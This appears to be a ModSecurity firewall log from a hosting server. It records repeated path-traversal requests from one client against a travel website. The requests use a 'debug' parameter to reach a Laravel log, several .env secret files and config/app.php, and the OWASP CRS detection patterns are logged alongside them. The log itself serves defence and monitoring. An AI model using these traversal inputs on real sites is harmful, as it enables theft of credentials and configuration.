[Fri Jul 17 08:55:07.573864 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rgAAAAw"]
[Fri Jul 17 08:55:07.575015 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4l9vhFBGA6D8l95rgAAAAw"]
[Fri Jul 17 08:55:07.575148 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.575265 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?debug=..%2F..%2F..%2Fstorage%2Flogs%2Flaravel.log&anything=GwNKz-JRn2q2psV8vpfn9nYvo3gBg9JMQdJplvqSTY8XO68zu_BpKpnbAaC6vuCMJPSN1ZPN67Yawi-0Gp5wGXg8zAnCw3sm9K1rOC_eOoXRuLNnCmvw5AvlOzmexAKn1erhIxKNelF1U991QrKZbwpu0474AyjOmzwobV-SMwH1KnbPi_FktZPOkxM69I9EjVyZAuyBF_2gp14HKNlSFQpgx9J_I5XJL64rdpm8nHLRyHPKnpX5I5eCV0JBVLn_yk3iVeKn7SvWiCxlNxAepisG&token=4MYBBS6UCJNQEURILFTE2R243RVERET2IF32EE7DF2IWV2CAB3FZ4MGEM55INIX4TFDSFJ2R2QRWXQJWCWEA2K3OWXRZJFRQBOS75RCUOBC7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29QAAACM"]
[Fri Jul 17 08:55:07.575318 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:debug: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29QAAACM"]
[Fri Jul 17 08:55:07.575367 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../../storage/logs/laravel.log&anything=GwNKz-JRn2q2psV8vpfn9nYvo3gBg9JMQdJplvqSTY8XO68zu_BpKpnbAaC6vuCMJPSN1ZPN67Yawi-0Gp5wGXg8zAnCw3sm9K1rOC_eOoXRuLNnCmvw5AvlOzmexAKn1erhIxKNelF1U991QrKZbwpu0474AyjOmzwobV-SMwH1KnbPi_FktZPOkxM69I9EjVyZAuyBF_2gp14HKNlSFQpgx9J_I5XJL64rdpm8nHLRyHPKnpX5I5eCV0JBVLn_yk3iVeKn7SvWiCxlNxAepisG&token=4MYBBS6UCJNQEURILFTE2R243RVERET2IF32EE7DF2IWV2CAB3FZ4MGEM55INIX4TFDSFJ2R2QRWXQJWCWEA2K3OWXRZJFRQBOS75RCUOBC75OGCMDY4QN47N3XAJ5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29QAAACM"]
[Fri Jul 17 08:55:07.575417 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?debug=../../../storage/logs/laravel.log&anything=gwnkz-jrn2q2psv8vpfn9nyvo3gbg9jmqdjplvqsty8xo68zu_bpkpnbaac6vucmjpsn1zpn67yawi-0gp5wgxg8zancw3sm9k1roc_eooxrulnncmvw5avlozmexakn1erhixknelf1u991qrkzbwpu0474ayjomzwobv-smwh1knbpi_fktzpokxm69i9ejvyzauybf_2gp14hknlsfqpgx9j_i5xjl64rdpm8nhlryhpknpx5i5ecv0jbvln_yk3ivekn7svwicxlnxaepisg&token=4mybbs6ucjnqeurilfte2r243rveret2if32ee7df2iwv2cab3fz4mgem55inix4tfdsfj2r2qrwxqjwcwea2k3owxrzjfrqbos75rcuobc75ogcmdy4qn47n3xaj5..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29QAAACM"]
[Fri Jul 17 08:55:07.575466 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29QAAACM"]
[Fri Jul 17 08:55:07.575495 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk4l9vhFBGA6D8l95rgAAAAw"]
[Fri Jul 17 08:55:07.575508 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../../../storage/logs/laravel.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29QAAACM"]
[Fri Jul 17 08:55:07.576756 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 30)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgky0HS8lGbZyK8qt29QAAACM"]
[Fri Jul 17 08:55:07.576889 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.577195 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 30 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 30, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgky0HS8lGbZyK8qt29QAAACM"]
[Fri Jul 17 08:55:07.582979 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZwAAABI"]
[Fri Jul 17 08:55:07.583028 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZwAAABI"]
[Fri Jul 17 08:55:07.584214 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk11_86A5R6msWNfUZwAAABI"]
[Fri Jul 17 08:55:07.584348 2026] [hostinglimits:warn] [pid 2029866:tid 2029866] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029866) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.584646 2026] [security2:error] [pid 2029866:tid 2029866] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk11_86A5R6msWNfUZwAAABI"]
[Fri Jul 17 08:55:07.588859 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVwAAABs"]
[Fri Jul 17 08:55:07.588906 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVwAAABs"]
[Fri Jul 17 08:55:07.590070 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk6quHSHoCJK_V0SBVwAAABs"]
[Fri Jul 17 08:55:07.590187 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.590493 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk6quHSHoCJK_V0SBVwAAABs"]
[Fri Jul 17 08:55:07.595230 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKgAAAA8"]
[Fri Jul 17 08:55:07.595274 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKgAAAA8"]
[Fri Jul 17 08:55:07.596578 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk-1pLmPpy2r_2CxfKgAAAA8"]
[Fri Jul 17 08:55:07.596733 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.597074 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgk-1pLmPpy2r_2CxfKgAAAA8"]
[Fri Jul 17 08:55:07.597193 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasgAAAAo"]
[Fri Jul 17 08:55:07.597227 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasgAAAAo"]
[Fri Jul 17 08:55:07.598317 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgkzsMb3am0TgkjETasgAAAAo"]
[Fri Jul 17 08:55:07.598418 2026] [hostinglimits:warn] [pid 2028246:tid 2028246] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2028246) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:07.598663 2026] [security2:error] [pid 2028246:tid 2028246] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgkzsMb3am0TgkjETasgAAAAo"]
[Fri Jul 17 08:55:07.600020 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fgAAABE"]
[Fri Jul 17 08:55:07.600150 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within ARGS:debug: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fgAAABE"]
[Fri Jul 17 08:55:07.600283 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "config/app.php" at ARGS:debug. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: config/app.php found within ARGS:debug: ../config/app.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fgAAABE"]
[Fri Jul 17 08:55:07.601433 2026] [security2:error] [pid 2030804:tid 2030804] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgk4e39YUk0SgV8AU6fgAAABE"]
